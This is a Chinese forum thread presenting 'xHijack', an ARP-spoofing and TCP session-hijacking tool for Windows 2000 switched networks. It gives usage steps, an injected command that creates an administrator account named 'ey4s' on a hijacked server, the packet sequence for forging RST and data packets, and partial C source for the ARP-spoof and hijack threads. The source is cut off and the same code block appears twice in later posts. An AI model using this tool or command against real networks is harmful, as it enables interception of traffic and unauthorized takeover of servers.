QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 4221|回复: 8
打印 上一主题 下一主题

再谈交换环境下的会话劫持(For windows2000)

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-11-21 01:44 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
第一步是开启IP Routing的功能,修改注册表
' ]- \; ~; v: K% G! FHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter为0x1,重启系统即可。 ) p2 H2 t1 `" G# E& `9 }# v2 z6 c
第二步是ARP欺骗,具体原理我就不说了。
  r0 L; w4 [: d6 V/ X$ l第三步就是开始劫持啦。 9 o4 p- r# l2 s+ |/ d+ N  Z" |3 o
7 z8 k* b5 C$ y8 d
我写了个程序xHijack可以实现第二、三步功能,使用如下:
4 ~7 Z. s9 x, }! C- b
  m0 R& H: P/ e$ W; [8 NUsage: xHijack ServerSide ClientSide   F6 C( a, g8 c

: ?8 U! J9 B4 [$ ^. _1 h( w6 h7 E/ C8 H下面根据三种不同的情况分别说明如何输入参数:
  F4 o" r' x0 G) J3 @<1>服务器、客户端、劫持者处于同一局域网,接在同一交换机上(或交换机级连?)。
/ }$ R$ @$ W: D8 n8 s假如服务器的IP是192.168.0.2,客户端的IP是192.168.0.3,提供如下参数给xHijack即可
2 V- D! o2 ?6 Xc:\>xHijack 192.168.0.2 192.168.0.3 # ]0 E+ m8 r2 h9 ^( j8 p6 A
劫持前数据流程:server <--> client
: c  X1 R/ s4 B$ i4 a0 Q! r. m劫持后数据流程:server <--> hijacker <--> client
0 F$ W: Y( u8 _$ ?, j) J4 D6 F/ A3 j& ]/ Z  s9 s
<2>服务器、劫持者处于同一局域网,客户端处于别的网络。
) v! {1 k! L' Q4 v假如服务器IP是202.202.202.2,服务器的网关是202.202.202.1,提供如下参数 8 E0 t6 @0 _9 p1 C8 q5 u) s6 W
xHijack 202.202.202.2 202.202.202.1 9 d4 n  n6 ^+ M) V  b4 `' U. I
劫持前数据流程:server <--> gw <--> routes <--> client
' S1 N4 X( [! U( S) C2 U1 E劫持后数据流程:server <--> hijacker <--> gw <--> routes <--> client
5 f4 ^  Y  a$ R  U1 y  d
  o# [5 O- {- f% N3 M/ Z" H<3>客户端、劫持者处于同一局域网,服务器处于别的网络。 ; o- P3 v1 ?: V: D. Q
假如客户端的IP是192.168.0.2,网关是192.168.0.1,提供如下参数
8 h9 _9 ?! e1 fxHijack 192.168.0.1 192.168.0.2
0 g; F& d8 k, q/ U劫持前数据流程:client <--> gw <--> routes <--> server : t5 u" S5 l3 D0 J; k( H6 y$ T
劫持后数据流程:client <--> hijacker <--> gw <--> routes <--> server & P8 ^' i; |1 [% r$ H; v
4 g+ C+ w& s. i( n4 x0 U3 T
输入两个参数后,会提示你选择网卡,然后会提示
: r: Y# ~: s( L# c2 Y& Jl        <-- List all connections & A2 d, Q/ B6 p. J3 E
r x       <-- Reset the number x connection " _9 b; Y1 F) ?$ i1 a! K8 u; q1 U
w x       <-- Watch the number x connection ) |5 l) \; ]: }4 z, V8 f9 P2 D8 u
h x command   <-- Hijack the number x connection to execute command
& O* I/ E9 L/ X: p8 X9 q
7 f* P3 J1 ]( x* M! Ilist、reset、watch命令我就不解释了。
+ o' o: P$ i1 D. R$ v假如现在有如下连接 $ J; i, B4 N( L9 E% h3 O  L/ Y
(1) 202.202.202.202:23 <--> 192.168.0.3:2345 2 q. C' G; P1 o1 `
我们想要劫持这个连接运行我们的命令,输入
3 q4 F7 s) M7 |* I/ e/ \3 b! vxHijack>h 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add" $ }% p* q$ Y- P! h
为什么命令前面要加&呢?假如客户刚发送一个字符p过去,我们不加&的话,服务器端接受到的就是
( k* X! g, K+ i. v4 d  h) q& ^pnet user.....了,加了&后就成为p&net user.....,这样就不管前面客户输入了什么,我们的命令
$ V/ `/ E4 x0 K. F3 v都能够运行了。以上都假设服务器是windows 2000,unix下加什么字符,我不知道,我是unix白痴,呵呵。
$ W2 W- f: a" z' U' B/ m7 o( ?4 v$ ]  [
劫持的流程如下:
( A  ]5 t3 k* S7 W<1>伪装成Server给Client发一个rst包 ' P$ J1 J/ c7 K1 a
<2>伪装成Client给Server发了一个数据包 " l3 H) R2 f0 C% q& B
<3>Server回一个ACK包给client
  Y. }  c" p1 x# g5 M5 d+ w<4>因为Cleint的连接已经给我们reset掉了,所以client回一个rst包给server
( o+ y+ J" E' C1 j  X( u6 U2 b# `% g6 [5 |1 S0 `( s7 j4 Q
这样的话,我们只能发一个伪造的包,但我想已经足够了。 7 f: X1 K2 F, q: u' b& V
想要一直劫持那个连接也可以,如下 ; }% n0 \7 u# V( N* [
<1>伪装成Server给Client发一个rst包 1 U0 \! D) A8 `0 ?- q4 }* ~  q( H
<2>欺骗Client,告诉它Server的MAC地址AAAAAAAAAAAA " |& ~6 I; d  M- p5 ]
<3>伪装成Client给Server发了一个数据包
" V% q, n2 w9 y1 k$ C<4>Server回一个ACK包给client % n1 r7 u. c( _* e5 |4 j" M
<5>Client回一个rst包给Server,但Server收不到,因为Client发到AAAAAAAAAAAA了,呵呵。
! f" ~* R; w$ |6 o3 G) d1 G: `# R<6>然后Server发给Client的包都由我们来处理,包括给Server回ACK包等等。 & W' b2 F# K" l3 \8 I7 w
, s0 K* X: {& n' M
不过这样比较危险,在我们劫持的过程中,Client与Server的通讯始终是断开的。
& n" t9 ]6 I6 ^  j5 L
- P/ K4 E, l) [2 L% S7 ~
$ i, @* V/ p, e8 o- ~6 i刚开始看TCP/IP协议,调程序调得头昏脑涨,说明也写的乱七八糟,呵呵,程序代码也可能存在很多问题,
/ z+ o* o* }4 K! q& {还请各位多多指点。 ( Q& L% z2 g4 k+ R3 R/ N
- l4 x, b5 Y8 n( S
BTW:我没有空间,编译好的程序没地方放:( + t$ ]# V) s  ]6 p8 m" x; Z

0 ^( q4 T' v: J" A1 I% O( l+ C1 x: `

  A9 }/ P1 ^5 W2 T( h# D参考资料
% W$ f. A6 B' {2 V; ?5 ~( O0 E. ^0 }<>交换环境下的会话劫持http://www.xfocus.net/article_view.php?id=375
6 ?5 Y/ o: n: u4 x1 P( N  B' j* g<>交换网络中的嗅探和ARP欺骗http://www.xfocus.net/article_view.php?id=377
5 v/ R/ S% y, b1 Y) u1 B' K' R$ d2 U- ~% J2 @3 U
) X6 j: Y4 ~8 D! a, C0 V
以下是程序代码
& Z- v1 A$ S) C, ]# E" p----------------------------------------------------------------------
, q, F) u% I. E; l/*-----------------------------------------------------------------------------
" v% }; h8 ]% f2 rFile      : xHijack.c
3 y  D5 B& h& n- _Version      : 1.0 + R: M4 j  s' E! \4 f0 p2 X
Create at    : 2002/8/12
0 ^9 P4 N$ a! c$ L% r  GLast modifed at  : 2002/8/19 2 l: Z* E$ Y* S. v
Author      : eyas ( Y7 _0 O' @% t( O- Y* z
Email      : ey4s@21cn.com ' k2 H+ Z& u/ K, }- ~/ f
HomePage    : www.ey4s.org 9 r0 g+ \& u1 @& F* d4 V, J9 U( A+ G- ?
感谢refdom和shotgun发布的源代码,使我获益非浅。 ; c. s, [1 `4 T7 Z5 W& U' a8 P
If you modify the code, or add more functions, please email me a copy. ; X" r; |1 @1 u3 \- m3 Z' U0 f
3 N& A8 Y$ W9 z% p7 v
备注: : `2 Y( K' U0 d7 e
<>没有考虑IP头、TCP头超过20字节的情况 & H3 N  N4 S( O1 x0 `  n& c
<>没有考虑数据包分片的情况
" o0 e# a7 D6 d; b<>没有对截取到的TCP数据进行解码,如TELNET,虽然是明文传输,但是TCP数据里面包含了
# ?& b7 ^0 a* R- m& q7 e显示格式、位置等信息,直接打印出来,显得很凌乱。但如果是IRC、SMTP、POP3等就没问 9 r# b( e9 c  t% S, s$ h
题了。 / \4 L1 y! J/ I5 ]$ h

+ p' }7 _+ V) q! ]也许下一版本会修正这些问题,也许不会有下一版本了。 ; f6 P2 x+ [, s( ^: ~9 d. A7 |% @
* K; V4 M9 j" F6 w# e9 |
-----------------------------------------------------------------------------*/
0 e* z& X4 S) C6 ~#include 4 V* ^, v9 ?. C
#include
+ n2 N- m9 Y" V6 x$ x- z#include - b! A" |7 v. U% Q
#include
+ G# h  f; D: {9 S! v1 q#include
; ^8 e$ B1 `* {# U; v& c$ F9 z#include
; _8 _, X3 b2 ?#include
4 C3 ~* S: r+ l: ?/ b) u4 T- J: N! g& b6 d" s1 B
#pragma comment (lib, "packet")
; R' i. [9 }* [( c+ D#pragma comment (lib, "iphlpapi")
. P" j+ g4 f1 d$ o  L: k#pragma comment (lib, "ws2_32")
  K$ @2 U- N$ G8 P
9 D2 u$ [4 f3 b- y. D! T; p: q#define Max_Num_Adapter 10
2 j( [( a3 ~3 l4 m, b#define Max_Num_IPAddr  5 ! i* K, c6 H4 v1 K" U9 @
#define EPT_IP      0x0800      /* type: IP  */
, t" v' f- N4 X#define ARP_HARDWARE  0x0001      /* Dummy type for 802.3 frames */
. B9 P" f* j( |5 o- ?; C% D#define EPT_ARP      0x0806      /* type: ARP */ & j: g# ?+ N  m
- ?) h% ]# u" w8 P0 R& k0 ^, Y
#define  ACTION_NONE    0 5 `: Z9 c& o$ A/ N; w4 C4 G
#define  ACTION_WATCH  1 1 k8 h0 n$ [- I1 B5 H' q
#define  ACTION_RESET  2 + `' X' E& S6 M5 B# X) M
#define ACTION_HIJACK  3
$ a/ a" f+ w6 B" o: `; Q' w6 H6 I9 @- s# p: ~* s' p
/*以1字节对齐*/
3 o2 U. _7 F! [# u$ w8 u#pragma pack(1)
8 W0 k; Y1 n1 r& Ftypedef struct _ehhdr " ^2 j& O! p/ m% ~& Q% ~4 D
{   W/ V2 I# J% v# Q$ \9 @
  unsigned char  DestMAC[6]; 6 K& e5 Y8 W( V
  unsigned char  SourceMAC[6]; " g* @7 h5 G8 k3 i; ?; h7 e' J
  unsigned short  EthernetType;
" `8 g$ J/ w1 h! g: |% r/ ^3 P}EHHDR, *PEHHDR; " ?1 F' a/ [( e( n4 D

$ F0 s( q" H. q4 m+ `typedef struct _iphdr        //定义IP首部 8 L' J5 m" |, x9 j& P
{ 9 l) d' o) w( a4 l; J
  unsigned char h_verlen;      //4位首部长度,4位IP版本号 ' ?4 o% h9 N, ?+ D  w2 ^% T
  unsigned char tos;        //8位服务类型TOS
9 j5 K" T/ }: i% D, L9 M  unsigned short total_len;    //16位总长度(字节) 3 O3 x, U1 v# `/ ~$ l) q
  unsigned short ident;      //16位标识 - X6 _$ i% x6 I% r8 o; h4 V8 s: r8 i/ a
  unsigned short frag_and_flags;  //3位标志位
+ P! C1 P- n7 `) {$ W  unsigned char ttl;        //8位生存时间 TTL
" y* V& C. r7 _  unsigned char proto;      //8位协议 (TCP, UDP 或其他) . o2 V2 i: w% T0 y" m
  unsigned short checksum;    //16位IP首部校验和 " d) A% p+ B, ^
  unsigned int sourceIP;      //32位源IP地址 - Y5 v% ]5 v% s% A* \
  unsigned int destIP;      //32位目的IP地址
: f( o  E* P9 U8 M: R7 C7 |; m}IPHDR, *PIPHDR;
/ [+ B. M- l8 M# H* _+ O5 I$ c! W
; g3 f) [4 x! }( r& O) ytypedef struct _tcphdr        //定义TCP首部 * I$ K; f6 X# ]7 C# ^  X
{ 0 k! ]2 I4 `, L' u4 W# r
  USHORT th_sport;        //16位源端口 + `. s5 u7 L+ f5 Y9 a' _
  USHORT th_dport;        //16位目的端口 * F* c0 A. B6 c3 s! {0 S
  unsigned int th_seq;      //32位序列号
' K" m- G& q; ^4 D2 J, f  unsigned int th_ack;      //32位确认号
& D- q) y8 Q/ v; w  unsigned char th_lenres;    //4位首部长度/6位保留字 ; `. ?) M0 [( s3 H3 V
  unsigned char th_flag;      //6位标志位
1 H) O9 n9 \/ k6 `5 _5 O8 Q  USHORT th_win;          //16位窗口大小 , p! t$ |2 t* _; y  q# Q) H
  USHORT th_sum;          //16位校验和
" T! a  F" B3 d: O# X: V/ x  USHORT th_urp;          //16位紧急数据偏移量 " c( ^4 X  U2 F! D. E& V5 x
}TCPHDR, *PTCPHDR; 4 n# p) ~$ _% R6 b7 S) K

6 o; R# O$ D6 w7 D; F; O9 e* A: ntypedef struct _psdhdr        //定义TCP pseudo header
1 |5 f! m" ]1 F5 \1 D{               
7 R( z1 ~2 @1 f. H5 [( O5 f  unsigned long saddr;
' \8 A$ M4 P3 I2 b  unsigned long daddr;
1 q/ m" l7 h1 W9 x) Y$ J# @3 a  char mbz; * _: A% y5 E7 c$ y2 e( {" c* U
  char ptcl; 1 j: J7 K$ f8 V5 @
  unsigned short tcpl; $ i- B: ^1 l& O( r5 W
}PSDHDR, *PPSDHDR; 0 d2 d% k0 x( K. N% E

7 ^7 A$ r- j- ]2 g5 vtypedef struct _arphdr ! w. G" ^0 Z# r- s6 d% y$ _
{ 7 M; G& p$ ^' C
  unsigned short  HrdType;//硬件类型
8 ~( d+ W4 h: A2 w* M* ^  unsigned short  ProType;//协议类型
( ^: }* t, D9 _/ b6 {# Z  unsigned char  HrdAddrlen;//硬件地址长度 9 @) Q& U4 ^* U. ]. d+ \. t1 D
  unsigned char  ProAddrLen;//协议地址长度 2 w2 q& U, \, P$ Q5 D$ w) g. I
  unsigned short  op;//operation 1 Q  [6 n" Q, s
  unsigned char  SourceMAC[6];/* sender hardware address */ # n8 e0 \  f, ]$ F# p5 P7 C
  unsigned long  SourceIP;/* sender protocol address */
* ]: I2 R5 ^) [0 v! Q2 K& Z  unsigned char  DestMAC[6];/* target hardware address */
' c) s" l& j+ l' }6 Z$ g; `  unsigned long  DestIP;/* target protocol address */ " g; J* Y- O: x: N7 K+ U  X
}ARPHDR, *PARPHDR; 2 L4 B1 w, M* S" o

" D# M) e! D* x: v/ Ktypedef struct _ArpPacket ' G: O4 W# u/ A
{ ' Z9 Y2 {* C8 i' W1 k+ J5 B- R
  EHHDR  ehhdr;
0 t  k) M9 I. K3 b% _: O  ARPHDR  arphdr;   z7 X: @1 x% Z/ `5 D' R
}ARPPACKET, *PARPPACKET; 0 i# [# x* b% I

1 T8 w8 G. R  }- J! ]typedef struct _tcppacket
9 j9 N/ a. k& p{
  z/ F$ n9 l- X; ?2 Z  EHHDR  ehhdr;
3 b0 H+ g, r( n. l/ t  IPHDR  iphdr;
- h, @8 T' n: ~3 {4 u4 b  TCPHDR  tcphdr;
- u9 {. R6 O6 E( l$ f}TCPPACKET, *PTCPPACKET; ( v& q7 e1 q5 Z& |) a
$ l- |" |6 j! ?) x  a
typedef struct _conninfo 1 J( f+ f! g' |& A7 T& b' n9 |
{
9 F7 k# L) U4 K7 C8 |2 }  DWORD  dwServerIP; 9 ^# v, s8 y6 U: T. f6 L
  USHORT  uServerPort;
0 l! ?0 N( Y! K3 R* E  i  y7 y  DWORD  dwClientIP; 3 G9 t/ V( x+ L8 y2 Q! h
  USHORT  uClientPort;
* N8 Y+ j8 W9 o7 c8 G# @* s  DWORD  ident;//标识 * j$ H0 L/ T% R/ v
  BOOL  bActive; ( M- L; c0 p+ ^5 k
  struct  _conninfo  *Next;
3 n5 e, ^& T# e1 |& i/ ^% }) Y}CONNINFO, *PCONNINFO;
4 _1 S! U1 T) [# N5 u
+ d) I! O& @% H+ D! d3 V8 n& ^# \1 i//定义全局变量
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

unsigned int  g_ServerSideIP,
. T5 ~% f3 ^* A        g_ClientSideIP,
" c6 v2 J2 s7 O! c/ n' `' a) s; K) j        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表 / D' f, U0 O, L0 f1 G
        g_TotalIP = 0;//
' N% n1 z) ~  u! F: |. ]! Punsigned char  g_szOwnMAC[6];//本机MAC地址
; L5 D) K) {" d, p) uunsigned char  g_szClientSideMAC[6]; ) P0 s" B4 Q. d5 f% y
unsigned char  g_szServerSideMAC[6]; 5 ?# \  b) i' q- \3 \+ I8 x4 J
char      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位 2 |% o) k& z4 g8 y0 u
LPADAPTER    g_lpAdapter;
& g1 C- t& }) ]$ }( j4 k//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread / Y) j$ N$ _" O% P  W0 M6 Y4 i
HANDLE      g_hThread[4]; ) C. Y; c% |' E! P* P
char      g_szCommand[128];//command to execute after hijack - h& D  h/ A  \3 H7 h% o6 i9 Q% }/ l
DWORD      g_dwAction;//action type
  i" J; T1 Q- N5 t6 M, \5 F3 C" oDWORD      g_dwCtrlConn;//action 所控制连接的标识 ! |- j) j) D+ b. x% W
DWORD      g_ident;//节点标识,递增 : w. e# h/ f% x* N, ^7 y
PCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针 ' S7 d, h- I" J/ N# |
        g_pConnHead = NULL,
0 k, Q, @0 h0 V. m% O        g_pConnLast = NULL; . M0 x  `$ J1 g' p5 R2 x0 @
char      g_szSendPacketBuf[1514]; + T5 Y+ ~2 @, K& |! G
LPPACKET    g_lpSendPacket; " g; P) I; F( [1 G9 n; u9 X$ K! @
//函数
2 o6 E8 [( m: K' \void      usage(void);
5 n' S! W* |' }" q% Z: N1 Uvoid      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
2 E- C" w' F# z. v7 `void      ListAllConnection();//列出当前所有的连接 : _! a9 T, g6 ]8 `# i' B+ W
void      ResetActionAllFlag();
% d" d' x! @5 d) S' FUSHORT      checksum(USHORT *, int); 8 F4 d7 }$ ]/ X* o4 J' {- q* K5 G
BOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址 + }& _% @" n/ a2 I) n
BOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包 6 ?& ^1 Q* w. M5 q: e! C) P
LPADAPTER    InitAdapter();//初始化一些参数和全局变量
" Y9 `9 J2 E' w/ H8 Y9 E: {  ?* s4 ^  TBOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
% Y/ X+ O% B4 GBOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
, j  Q: ~9 N& {DWORD      GetConnNum(char *, DWORD, DWORD *); 3 h. Y* r- o* V0 J3 z; ^: r
DWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
5 H. z( w' [2 j9 z" zDWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数 " F. s7 \- H0 ~. J9 W& B1 t& V
DWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包 3 D) y! Z8 q  T4 ?5 ^3 V0 _! P+ T
DWORD  WINAPI  InterfaceThread(LPVOID);// 8 ^3 M3 M8 e+ s) m- e
BOOL  WINAPI  CtrlEvent(DWORD); : j  g/ f& {/ D+ A
6 Q0 h: D7 |' p: `+ \, Q

$ W$ r$ V- `# ], w, |/ q3 @* G9 v5 D" A+ E/ Z; \7 ~; U& F
int main(int argc, char **argv)
/ ?/ g0 |- x6 T{ 5 w" [' q! w. x5 l3 }9 w6 z
  struct    bpf_stat stat; ! X0 m! f3 w, [- u
  int      i;
. f2 c+ S2 i( o$ R" `  u( I; i
$ E: }+ }5 l/ X/ t  usage(); * V: c  Z5 W, F4 \1 e/ o
  if (argc != 3) return 0; 4 e! D2 ]$ {) i2 \1 f
  //取得参数 ) _! T8 [) C# n' X
  g_ServerSideIP = inet_addr(argv[1]);
5 n! X$ C+ W( k1 r8 D- o  g_ClientSideIP = inet_addr(argv[2]); 1 d: C' b5 k/ f7 @; }
  //初始化adapter & 一些全局变量
( p& p+ s  }0 m6 }3 d2 E  g_lpAdapter = InitAdapter();
" V! l8 I* j- x7 j* T  if(!g_lpAdapter) return 0; ! L+ _, E# D+ j3 i3 w
  //get ServerSide MAC & ClientSide MAC
* k) x; K; H; Y0 ~  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0; ) U6 ]! X4 m1 [# {1 @( v3 d
  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0; - _  n' H6 a5 k) d  N1 U9 P
  //create arp spoof thread     
3 O) P1 I8 G; n/ m* {7 i8 L  i = 1; 5 w* \. H2 Y+ n- D0 Q
  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); + C! _! q" i0 X- R) }( Q& w. x
  Sleep(500); + {4 M- g& R- p. q0 a
  i = 2;
! g' r$ I5 U5 T: j8 H1 K, }' j6 h  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); % o0 B4 `) V8 p1 d
  //create analyse packet thread
# r) Z2 ?& [- k. i# S% u  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0); % R$ X# K! H+ S7 w( b0 v! @
  //create interface thread
# s9 f5 [: e/ B5 L& K' I! f  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0); 3 \9 g4 B" A  n) D+ ?$ {! d9 l2 `
  //set console ctrl handle
% `. B$ Q) `% T) n  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
; D( x9 D( ^% Q9 p7 ^# D  {
# l" S% x) W  h4 l/ B# R9 v) N8 I9 Y4 X    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());   {$ r- w& m& z) c& P
    return 0; 1 s) G1 `0 E% Q6 h+ A
  }
' O4 i, V5 f1 u* Z& C+ V  //wait for any thread exit
( |2 [& H9 ^; I1 O  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
3 j. D9 P. x* q8 \6 c3 N  //print the capture statistics
: g5 B) A' O! a  c  if(PacketGetStats(g_lpAdapter, &stat) == FALSE)
  O6 X7 s% s" P4 M, a! Z. B    printf("Warning: unable to get stats from the kernel!\n"); ) r: }5 L* V5 X, l& ~
  else $ f) F' Q- }& _$ [5 J# \# d
    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop); " x- x& H% ^4 i8 O
  //free resource   ! x. \6 q5 Z* L- ~) `# P
  PacketFreePacket(g_lpSendPacket);
  u- b9 a, |$ C  PacketCloseAdapter(g_lpAdapter); 7 p4 q9 v  r" d" O
  return 0;
% X7 a1 @7 q+ ]+ y5 ]/ z1 G+ }3 l} " D, b. }8 N5 Y+ w6 }$ \
/ F) y3 T& c+ C. w+ B" ~
// ) e, X, l/ T! T" D4 f
//功能:重置所有于ACTION有关的标志
' d, I& r: t& y& s* }. I//
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

unsigned int  g_ServerSideIP, 1 W7 a2 Y4 I& ^. Q
        g_ClientSideIP,
& x" E9 H* }4 Z, R        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
9 W# n# e7 S. x7 V4 B        g_TotalIP = 0;// ; b; O2 a# b0 w/ a2 r4 r8 e$ ~
unsigned char  g_szOwnMAC[6];//本机MAC地址
  @: r& r" [& W4 L/ xunsigned char  g_szClientSideMAC[6];
  Y  m$ }" B5 A' vunsigned char  g_szServerSideMAC[6];
3 {* ?2 E4 V! P) nchar      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位 1 Y; r) K# F7 y. a/ I2 f4 Z
LPADAPTER    g_lpAdapter; ( J  I. `% ]3 x& P  w; X7 O7 i2 r
//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread ) j( g8 e' l" [" y, A
HANDLE      g_hThread[4]; 3 M6 H& \1 A% `1 l9 E
char      g_szCommand[128];//command to execute after hijack 7 {( t& C/ u# N+ S5 d* `
DWORD      g_dwAction;//action type $ T- n* W9 ?# @8 Y+ m
DWORD      g_dwCtrlConn;//action 所控制连接的标识
& k9 H% O- \  B1 j/ zDWORD      g_ident;//节点标识,递增
, i+ Z! I4 A2 f0 `PCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针 ) _) k' y8 k1 m) R. `
        g_pConnHead = NULL,
5 Y$ c/ k; T- K) K3 y9 G. l# f        g_pConnLast = NULL; # Z9 b- p2 h9 J- h- e
char      g_szSendPacketBuf[1514]; 3 I9 f- _5 l* C0 w5 s$ c
LPPACKET    g_lpSendPacket;
& B3 C7 \- O2 L//函数
9 R. A) p2 U( |! k9 |! E5 h8 R  }$ V- t* jvoid      usage(void); ; t5 M; z5 ~" x7 {5 ]3 ~
void      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL); 5 q, m. r( O: U9 `
void      ListAllConnection();//列出当前所有的连接 - V* W4 a: F( e2 M0 S/ b# U7 K7 N
void      ResetActionAllFlag(); 8 ?5 ~$ ~- g+ `7 D
USHORT      checksum(USHORT *, int);
' q# i9 z3 R* Y& k9 b# V- XBOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址 6 P0 N+ s: ?: e. f" U) g/ t1 _$ p
BOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包 3 A! h4 t" @) y5 d2 J0 q
LPADAPTER    InitAdapter();//初始化一些参数和全局变量
" @) l. f, ~# ~# I) O% @- o) {BOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
4 B" V5 a& @( g6 y: a$ uBOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包 $ F  G7 d" n7 H8 \5 k& w' T6 s
DWORD      GetConnNum(char *, DWORD, DWORD *);
8 T% c# E- v# W4 K/ p8 d8 l3 tDWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL); ( d- E& h' g$ `
DWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
: v) D( v# |0 A! u: r. Z( }$ [DWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包 * Y! |  O2 e; q* L
DWORD  WINAPI  InterfaceThread(LPVOID);// 6 x: ?, {- v( l
BOOL  WINAPI  CtrlEvent(DWORD); - s3 u+ H6 ~* [  r
7 c0 O+ @. r! m$ T  a; P+ I( w) F. d
8 r8 H: j! J+ K. I( }' P2 k6 R* c

) ?1 @2 f  ?3 l7 e3 `$ J- Iint main(int argc, char **argv)
9 L6 x, Y; k& L' m: v" N* N* m{ 9 ~) G5 d# y2 f2 n3 k9 s
  struct    bpf_stat stat;
6 T- J5 C7 p/ q7 p1 ^  int      i;   Q& S" a5 F" L4 \( X, _8 _) {' [9 W& Z
& o' M# z8 B/ z
  usage(); * M/ z0 g. p& j" L; M, j2 T
  if (argc != 3) return 0;
8 L. W. z/ o! K/ h. R& G) }  //取得参数
6 v4 h6 R: |9 w: V( f% W6 g  g_ServerSideIP = inet_addr(argv[1]); 3 ?, \" Z! y& T+ o1 ]- Q
  g_ClientSideIP = inet_addr(argv[2]); ! U7 ^7 f" x$ V( [3 `. }
  //初始化adapter & 一些全局变量 & m0 A" p4 Q. i9 R8 |& @
  g_lpAdapter = InitAdapter(); $ o9 u5 {; x/ P+ ?: F0 s. b. a5 N
  if(!g_lpAdapter) return 0;
$ \8 X$ q5 f8 f1 |& y  X9 E3 q  //get ServerSide MAC & ClientSide MAC 9 m% {4 n  r* g7 j: d5 D$ H
  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
4 |' o( S* e% y$ Z5 Z+ k  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;   |6 P/ d7 z  Q* [% t# f% L5 ~
  //create arp spoof thread     1 W: F' ?: Y: q2 m  |
  i = 1; 9 m8 e0 U9 ]/ o
  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); & x. q+ [! @4 P. m& e
  Sleep(500); 4 p8 m! |( S" y
  i = 2; ) E; s- g- v, u2 J/ ~" t3 n
  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); 6 ?2 I# W  r) C& Y. r% a6 a; d' A
  //create analyse packet thread
! I8 u: h) [; N6 u- {+ i2 p  [  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0); $ r- M( ]5 t, G6 m3 u4 n
  //create interface thread
2 v9 m4 M& t6 W) B9 M+ k  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
+ G* J1 M5 {  ~8 @* i! E  //set console ctrl handle
- D# c% L, M7 P' L8 K! w& ?  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE)) ! C6 D) n& n2 q4 f
  { + S5 F6 K6 e2 p" o! a
    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
3 S# I- t) G7 I5 X# N3 `0 G+ B    return 0;
5 w! y7 Q' m8 U3 y2 u  `8 B+ `  }
) l2 G1 U* l2 c  //wait for any thread exit
- z3 N" k" G3 B& q0 E  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE); + D" ]2 Y$ }6 ~8 v. @+ }/ W! x
  //print the capture statistics 4 l" Z3 ^  n4 p4 @) a7 Y
  if(PacketGetStats(g_lpAdapter, &stat) == FALSE) 6 S9 Y+ [( r4 ~( y7 ^$ ?# {
    printf("Warning: unable to get stats from the kernel!\n"); , b4 H7 `( G/ E9 C; T- L" O
  else
7 |5 y: P& f. ~5 g4 p' \, A" P    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
$ p' `4 C6 K! Z( x) {  //free resource   + G( s, Z5 d/ ^
  PacketFreePacket(g_lpSendPacket); 1 f4 B* o- h- |) r. ^
  PacketCloseAdapter(g_lpAdapter); . R9 X8 [. P/ f
  return 0;
8 u/ C" K- C  o( ~; Z* V# s} " I3 r0 i: ?% |6 S$ o# D1 G

